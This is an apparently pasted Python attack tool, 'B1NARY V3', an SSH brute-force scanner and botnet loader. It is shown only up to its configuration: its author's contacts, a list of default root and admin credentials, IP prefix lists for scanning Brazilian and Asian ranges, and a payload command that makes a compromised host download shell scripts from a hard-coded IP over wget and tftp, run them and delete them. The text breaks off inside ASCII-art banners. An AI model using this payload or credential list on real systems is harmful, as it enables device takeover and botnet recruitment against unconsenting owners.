Kurobeats icon

b1naryv3.py

Kurobeats | PRO | 10/17/18 04:05:29 AM UTC | 0 ⭐ | 232 πŸ‘οΈ | Never ⏰ | []
Python |

18.42 KB

|

None

|

0 πŸ‘

/

0 πŸ‘Ž

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#MUST INSTALL PARAMIKO
#yum install python-paramiko -y
"""
Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
Skype: b1narythag0d
XMPP: [emailΒ protected]
Made Date: 7-2-16
"""
"""
Β 
# ___ Β  Β  __________ Β ____ _______ Β  Β  Β _____ _______________.___. Β ___ Β  Β  
# / _ \_/\ \______ Β  \/_ Β  |\  Β  Β  \  Β  / Β _ Β \\______ Β  \__ Β | Β  | / _ \_/\ 
# \/ \___/ Β | Β  Β | Β _/ | Β  |/ Β  | Β  \  / Β /_\  \| Β  Β  Β  _// Β  | Β  | \/ \___/ 
# Β  Β  Β  Β  Β  | Β  Β | Β  \ | Β  / Β  Β | Β  Β \/ Β  Β | Β  Β \  Β  | Β  \\____ Β  | Β  Β  Β  Β  Β 
# Β  Β  Β  Β  Β  |______ Β / |___\____|__ Β /\____|__ Β /____|_ Β // ______| Β  Β  Β  Β  Β 
# Β  Β  Β  Β  Β  Β  Β  Β  Β \/ Β  Β  Β  Β  Β  Β  Β \/ Β  Β  Β  Β  \/ Β  Β  Β  \/ \/ Β  Β  Β  Β  Β  Β  Β  Β  
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ***B1NARY V3***
"""
import threading, paramiko, random, socket, time, sys, os
usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
if len(sys.argv) < 4:
Β  Β  Β  Β  sys.exit(usage)
os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
paramiko.util.log_to_file("/dev/null")
os.system("sysctl -w fs.file-max=999999 >/dev/null")
Β 
"""
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆ Β β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„ Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  β–€β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β β–ˆβ–ˆβ–ˆβ–Œ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  β–ˆβ–ˆβ–ˆβ–Œ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–ˆβ–ˆβ–ˆβ–Œ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  β–„β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–€ Β  Β β–€β–ˆ Β  β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  
"""
cmd='cd /tmp || cd /var/run;wget http://148.163.83.79/bin.sh;sh bin.sh;rm -rf bin.sh;tftp -r bint1.sh -g 148.163.83.79;sh bint1.sh; tftp 148.163.83.79 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bin.sh\r\n' #PAYLOAD
blacklist = [
Β  Β  '127'
]
passwords = [ 
Β  Β  "root:root",
Β  Β  "root:toor",
Β  Β  "root:admin",
Β  Β  "root:1234",
Β  Β  "root:maxided",
Β  Β  "root:pi",
Β  Β  "root:alpine",
Β  Β  "root:r00tnull3d",
Β  Β  "root:r00tnull3d#",
Β  Β  "root:rootnull3d#",
Β  Β  "root:password",
Β  Β  "root:centos6svm",
Β  Β  "root:1234",
Β  Β  "root:123456",
Β  Β  "root:Love2020",
Β  Β  "root:Zero",
Β  Β  "root:Password",
Β  Β  "root:password",
Β  Β  "root:qwerty",
Β  Β  "root:dragon",
Β  Β  "root:pussy",
Β  Β  "root:baseball",
Β  Β  "root:football",
Β  Β  "root:monkey",
Β  Β  "root:696969",
Β  Β  "root:abc123"
Β  Β  "admin:admin",
Β  Β  "admin:1234",
Β  Β  "admin:Guest",
Β  Β  "ubnt:ubnt",
Β  Β  "guest:guest",
Β  Β  "user:user",
Β  Β  "test:test",
Β  Β  "pi:raspberry",
Β  Β  "vagrant:vagrant",
Β  Β  "localhost:root",
Β  Β  "B1NARY:B1NARY",
Β  Β  "tim:tim",
Β  Β  "CISCO:CISCO",
Β  Β  "netgear"
Β  Β  "support:support",
Β  Β  "oracle:oracle",
Β  Β  "cusadmin:password",
]
Β 
"""
 β–„β–ˆ Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„ Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆβ–Œ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β 
β–ˆβ–ˆβ–ˆβ–Œ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–€ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β 
β–ˆβ–ˆβ–ˆβ–Œ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€β–€β–€ Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–„ Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
β–ˆβ–€ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–€β–ˆ Β  β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β 
 Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  
"""
br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
lucky2 = ["119.91","119.92","119.93","113.53"]
lol = ["1","2","5","119","180","113","125","122","46","101",""]
load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52"]
Β 
"""
 Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β β–„β–„β–„β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„ Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–„β–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β 
 Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„β–ˆβ–ˆβ–€ Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β 
β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–„ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 β–„β–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–€β–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–€ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 
"""
Β 
if sys.argv[4] == '1':
Β  Β  passwords = ["root:root", "root:admin", "admin:1234"]
if sys.argv[4] == '2':
Β  Β  passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
if sys.argv[4] == 'routers':
Β  Β  passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
if sys.argv[4] == 'perl':
Β  Β  passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
if sys.argv[4] == 'ubuntu':
Β  Β  passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
if sys.argv[4] == 'root':
Β  Β  passwords = [ "root:root","root:test" ]
if sys.argv[4] == 'vps1':
Β  Β  passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
if sys.argv[4] == 'vps2':
Β  Β  passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
if sys.argv[4] == 'vps3':
Β  Β  passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
if sys.argv[4] == 'r00ted':
Β  Β  passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
if sys.argv[4] == 'brute':
Β  Β  passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
if sys.argv[4] == 'lol':
Β  Β  passwords = [ "admin:1234"]
Β 
"""
 β–„β–ˆ Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆ Β  Β  Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆβ–Œ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β 
β–ˆβ–ˆβ–ˆβ–Œ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β 
β–ˆβ–ˆβ–ˆβ–Œ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–Œ Β  Β β–„ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
